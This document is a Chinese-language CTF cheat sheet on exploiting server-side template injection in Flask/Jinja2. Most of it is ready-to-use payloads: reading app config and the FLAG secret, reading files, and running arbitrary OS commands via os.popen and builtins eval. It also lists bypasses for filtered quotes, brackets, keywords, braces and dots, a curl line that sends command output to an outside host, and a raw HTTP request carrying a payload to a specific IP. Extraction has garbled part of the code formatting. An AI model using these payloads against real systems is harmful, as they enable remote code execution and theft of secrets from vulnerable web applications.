魔术方法

Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。

  • dict:保存类实例或对象实例的属性变量键值对字典
  • class:返回调用的参数类型
  • mro:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
  • bases:返回类型列表
  • subclasses:返回object的子类
  • init:类的初始化方法
  • globals:函数会以字典类型返回当前位置的全部全局变量 与 funcglobals 等价 base_mro 都是用来寻找基类的。

读取config

{{config}} 可以获取当前设置,如果题目是这样的: app.config [‘FLAG’] = os.environ.pop(’FLAG’)

  1. 直接读取

    1. {{config['FLAG']}} 或者 {{config.FLAG}}
  2. self读取

    1. {{self.__dict__._TemplateReference__context.config}}
  3. 魔术方法读取

    1. {{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}
  4. 全局变量(函数)读取

    1. url_forgrequestnamespacelipsumrangesessiondictget_flashed_messagescyclerjoinerconfig
    1. {{url_for.__globals__['current_app'].config.FLAG}}
    2. {{get_flashed_messages.__globals__['current_app'].config.FLAG}}
    3. {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
  5. 从其他全局对象的属性中查找 ```python import flask import os from flask import request from flask import g from flask import config

app = flask.Flask(name) app.config[‘FLAG’] = ‘secret’

def search(obj, max_depth): visited_clss = [] visited_objs = []

  1. def visit(obj, path='obj', depth=0):
  2. yield path, obj
  3. if depth == max_depth:
  4. return
  5. elif isinstance(obj, (int, float, bool, str, bytes)):
  6. return
  7. elif isinstance(obj, type):
  8. if obj in visited_clss:
  9. return
  10. visited_clss.append(obj)
  11. print(obj)
  12. else:
  13. if obj in visited_objs:
  14. return
  15. visited_objs.append(obj)
  16. # attributes
  17. for name in dir(obj):
  18. if name.startswith('__') and name.endswith('__'):
  19. if name not in ('__globals__', '__class__', '__self__',
  20. '__weakref__', '__objclass__', '__module__'):
  21. continue
  22. attr = getattr(obj, name)
  23. yield from visit(attr, '{}.{}'.format(path, name), depth + 1)
  24. # dict values
  25. if hasattr(obj, 'items') and callable(obj.items):
  26. try:
  27. for k, v in obj.items():
  28. yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
  29. except:
  30. pass
  31. # items
  32. elif isinstance(obj, (set, list, tuple, frozenset)):
  33. for i, v in enumerate(obj):
  34. yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)
  35. yield from visit(obj)

@app.route(‘/‘) def index(): return open(file).read()

@app.route(‘/shrine/‘) def shrine(shrine): for path, obj in search(request, 10): if str(obj) == app.config[‘FLAG’]: return path

if name == ‘main‘: app.run(debug=True)

  1. 运行此脚本,可以得到一段路径
  2. ```python
  3. obj.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']

因为脚本中是以request对象作为基础搜索的,所以将obj改为request之后,即可访问到config。

直接读取文件

  1. 随便找一个内置类对象用__class__拿到他所对应的类
  2. __bases__拿到基类(<class 'object'>
  3. __subclasses__()拿到子类列表
  4. 在子类列表中直接寻找可以利用的类

payload:

  1. ().__class__.__base__.__subclasses__()
  2. ().__class__.__bases__[0].__subclasses__()

可以看到列表里面有一坨,这里只看file对象。

  1. [...,<type 'file'>, ...]

查找file位置。

  1. #coding:utf-8
  2. search = 'file'
  3. num = 0
  4. for i in ().__class__.__bases__[0].__subclasses__():
  5. if 'file' in str(i):
  6. print num
  7. num += 1

<type 'file'>在第40位。().__class__.__bases__[0].__subclasses__()[40]
dir来看看内置的方法

  1. dir(().__class__.__bases__[0].__subclasses__()[40])
  1. ['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines']

所以最终的payload是

  1. ().__class__.__bases__[0].__subclasses__()[40]('filename').readlines()

p.s.:只适用于python2

执行任意命令

其实就是上一个继续往下走,通过__init__.__globals__找到包含os的类。

  1. #coding:utf-8
  2. search = 'os' #也可以是其他你想利用的模块
  3. num = -1
  4. for i in ().__class__.__bases__[0].__subclasses__():
  5. num += 1
  6. try:
  7. if search in i.__init__.__globals__.keys():
  8. print(i, num)
  9. except:
  10. pass
  11. """
  12. (<class 'site._Printer'>, 72)
  13. (<class 'site.Quitter'>, 77)
  14. """

payload:

  1. ().__class__.__mro__[1].__subclasses__()[77].__init__.__globals__['os'].system('whoami')
  2. ().__class__.__mro__[1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')

p.s.:依旧只能在python2运行

builtins执行任意命令

就是把第二种要找的模块从os改为__builtins__

  1. #coding:utf-8
  2. search = '__builtins__'
  3. num = -1
  4. for i in ().__class__.__bases__[0].__subclasses__():
  5. num += 1
  6. try:
  7. if search in i.__init__.__globals__.keys():
  8. print(i, num)
  9. except:
  10. pass
  11. """
  12. <class '_frozen_importlib._ModuleLock'> 64
  13. #省略一堆
  14. """

一般内置函数中是有evalexec之类的函数,所以构造payload:
python3:

  1. ().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

python2:

  1. ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

执行命令无回显(回显为0或-1)

os.system():该函数返回命令执行结果的返回值,并不是返回命令的执行输出(执行成功返回0,失败返回-1)
所以我们应该使用其他函数来执行命令。

  1. os.popen()

用法:os.popen(command[,mode[,bufsize]])
popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。

  1. {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag','r').read()")}}

Bypass

过滤引号

  1. {{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

第一个""的作用是引出基类,使用[]替代即可。

  1. {{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

第二个""是为了取得字典中的value,这里我们可以使用request.args来绕过此处引号的过滤。
request.args是flask中一个存储着请求参数以及其值的字典,我们可以像这样来引用他:

  1. {{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os

后面的所有引号都可以使用该方法进行绕过。

还有另外一种绕过引号的办法,即通过python自带函数来绕过引号,这里使用的是chr()。
首先fuzz一下chr()函数在哪:
payload:

  1. {{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

通过payload爆破subclasses,获取某个subclasses中含有chr的类索引,可以看到爆破出来很多了,这里我随便选一个。

  1. {%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}

接着尝试使用chr尝试绕过后续所有的引号:

  1. {%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}

过滤中括号

回看最初的payload,过滤中括号对我们影响最大的是什么,前边两个中括号都是为了从数组中取值,而后续的中括号实际是不必要的,globals["os"]可以替换globals.os

所以过滤了中括号实际上影响我们的只有从数组中取值,然而从数组中取值,而从数组中取值可以使用pop/getitem等数组自带方法。

不过还是建议用getitem,因为pop会破坏数组的结构。

a[0]a.getitem(0)的效果是一样的,所以上述payload可以用此来绕过:

  1. {{"".__class__.__mro__.__getitem__(1).__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

过滤小括号

需要注意的一点是,如果题目过滤了小括号,那么我们就无法执行任何函数了,只能获取一些敏感信息比如题目中的config。
因为如果要执行函数就必须使用小括号来传参,目前我还没找到能够代替小括号进行传参的办法。

过滤关键字

主要看关键字是如何过滤的,如果只是替换为空,可以尝试双写绕过,如果直接ban了,就可以使用字符串合并的方式进行绕过。
使用中括号的payload:

  1. {{""["__cla"+"ss__"]}}

不使用中括号的payload:

  1. {{"".__getattribute__("__cla"+"ss__")}}

这里主要使用了getattribute来获取字典中的value,参数为key值。
第二种绕过过滤关键字的办法之前也提到了,即使用request对象:

  1. {{"".__getattribute__(request.args.a)}}&a=__class__

第三种绕过关键字过滤的办法即使用str原生函数:

  1. ['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

以上即为str的原生函数,我们可以使用decode、replace等来绕过所过滤的关键字。

模块阉割

在比赛环境中,经常会阉割掉一些内置函数,我们可以尝试使用reload来重载。
在Python2中,reload是内置函数,而在Python3中,reload则为imp module下的函数,使用方法:

  1. from imp import reload
  2. reload(os).popen("whoami").read()

在比赛场景中我们一般是不能直接reload(os)的,因为可能当前类并没有import os。
所以一般都是reload(__builtins__),这时可以重新载入builtins,此时builtins中被删除的比如eval、import等就又都回来了。
reload()主要用于沙盒环境中,比如直接给你提供了一个shell的环境,SSTI中我还没有成功使用过reload()。

过滤{{}}

  1. {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}

相当于把命令执行的结果外带出去。

过滤点号

在Python环境中(Python2/Python3),我们可以使用访问字典的方式来访问函数/类等。

  1. "".__class__等价于""["__class__"]

利用上述方式,可以绕过点号的过滤

  1. POST /?class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ HTTP/1.1
  2. Host: 114.116.44.23:58470
  3. Content-Length: 190
  4. Accept: */*
  5. Origin: http://114.116.44.23:58470
  6. X-Requested-With: XMLHttpRequest
  7. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
  8. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  9. Referer: http://114.116.44.23:58470/
  10. Accept-Encoding: gzip, deflate
  11. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  12. Connection: close
  13. nickname={{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}

参考

CTF引出对Python模板注入的思考 模板设计者文档 Python文档 SSTI/沙盒逃逸详细总结 用python继承链搞事情